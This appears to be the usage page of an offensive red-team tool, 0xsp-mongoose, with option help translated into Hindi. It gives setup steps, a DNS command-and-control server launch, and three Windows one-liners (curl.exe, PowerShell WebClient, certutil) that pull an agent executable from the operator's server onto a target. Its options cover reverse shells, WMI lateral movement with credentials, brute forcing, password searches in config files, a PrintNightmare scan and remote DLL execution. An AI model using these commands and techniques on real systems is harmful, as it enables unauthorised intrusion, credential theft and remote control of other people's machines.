git clone --single-branch --branch 0xsp-red https://github.com/lawrenceamer/0xsp-mongoose 
cd 0xsp-mongoose/ 
npm install 
node index.js

touch temp.txt
python3 dns_server.py -d DOMAIN -a PUBLICIP -i INTERFACEIP

#example 1 
curl.exe -o agent.exe http://nodejsip:4000/release/x64.exe
#example 2 
powershell.exe -command (new-object net.webclient).downloadfile('http://nodejsip:4000/release/x64.exe','c:\tmp\agent.exe');
#example 3 
certutil.exe -urlcache -split -f "http://nodejsip:4000/release/x64.exe" agent.exe

-s --विंडोज सेवाओं और स्थापित ड्राइवरों को पुनर्प्राप्त करें।
-u --उपयोगकर्ताओं, समूहों, भूमिकाओं के बारे में जानकारी पुनर्प्राप्त करें।
-c --एक्सटेंशन द्वारा संवेदनशील कॉन्फ़िग फ़ाइलों के लिए कनेक्टेड ड्राइवरों की खोज करें।
-n --नेटवर्क जानकारी, नेटवर्क इंटरफ़ेस, कनेक्शन विवरण पुनर्प्राप्त करें।
-w --लिखने योग्य निर्देशिकाओं की गणना करें, एक्सेस अनुमति जांच, संशोधित अनुमतियाँ।
-i --विंडोज सिस्टम जानकारी, सत्र, सदैव उन्नत जांच की गणना करें।
-l --किसी फ़ाइल में विशिष्ट स्ट्रिंग खोजें, उदा: agent.exe -l c:\ password *.config।
-o --nodejs एप्लिकेशन का होस्ट पता निर्दिष्ट करें, आप srvhost का भी उपयोग कर सकते हैं
-p --स्थापित सॉफ्टवेयर, चल रही प्रक्रियाएँ, कार्यों की गणना करें।
-e --कर्नेल निरीक्षण उपकरण, यह विंडोज कर्नेल कमजोरियों के लिए टूल डेटाबेस में खोजने में मदद करेगा
-x --node js एप्लिकेशन के साथ अपने कनेक्शन को अधिकृत करने के लिए पासवर्ड।
-d --लक्ष्य मशीन में सीधे फ़ाइलें डाउनलोड करें।
-t --लक्ष्य मशीन से node js एप्लिकेशन में फ़ाइलें अपलोड करें।
-spooler --एकल होस्ट या होस्ट की सूची को संभावित CVE-2021-1675 के लिए स्कैन करें (जैसे -spooler -srvhost या -spooler -hosts )
-m --सभी ज्ञात स्कैन प्रकार एक साथ चलाएँ।

[!] रेड टीमिंग रणनीति अनुभाग

-r --विशिष्ट खाते के साथ रिवर्स शेल उत्पन्न करें।
-lr --WMI का उपयोग करके पार्श्व आंदोलन तकनीक (जैसे -lr -host 192.168.14.1 -username administrator -password blabla -srvhost nodejsip )
-nds --नेटवर्क खोज और शेयर गणना
-dns --इंटरैक्टिव DNS C2C शेल स्थापित करें
-cmd --HTTP शेल के माध्यम से कमांड स्थानांतरित करें
-interactive --इंटरैक्टिव मोड प्रारंभ करें (जैसे: प्लगइन्स लोड करना ..आदि)
-username --विशिष्ट हमला मॉड्यूल के लिए पहचान प्रमाणीकरण।
-password --विशिष्ट हमला मॉड्यूल के लिए पहचान प्रमाणीकरण।
-host --हमला करने के लिए रिमोट होस्ट की पहचान करें।
-srvhost --node js एप्लिकेशन का rhost सेट करें।
-bf --स्थानीय उपयोगकर्ता / डोमेन उपयोगकर्ता ब्रूटफोर्स मॉड्यूल
-import --स्थानीय रूप से dll फ़ाइल आयात और निष्पादित करें
-remote --रिमोट होस्ट से dll फ़ाइल आयात और निष्पादित करें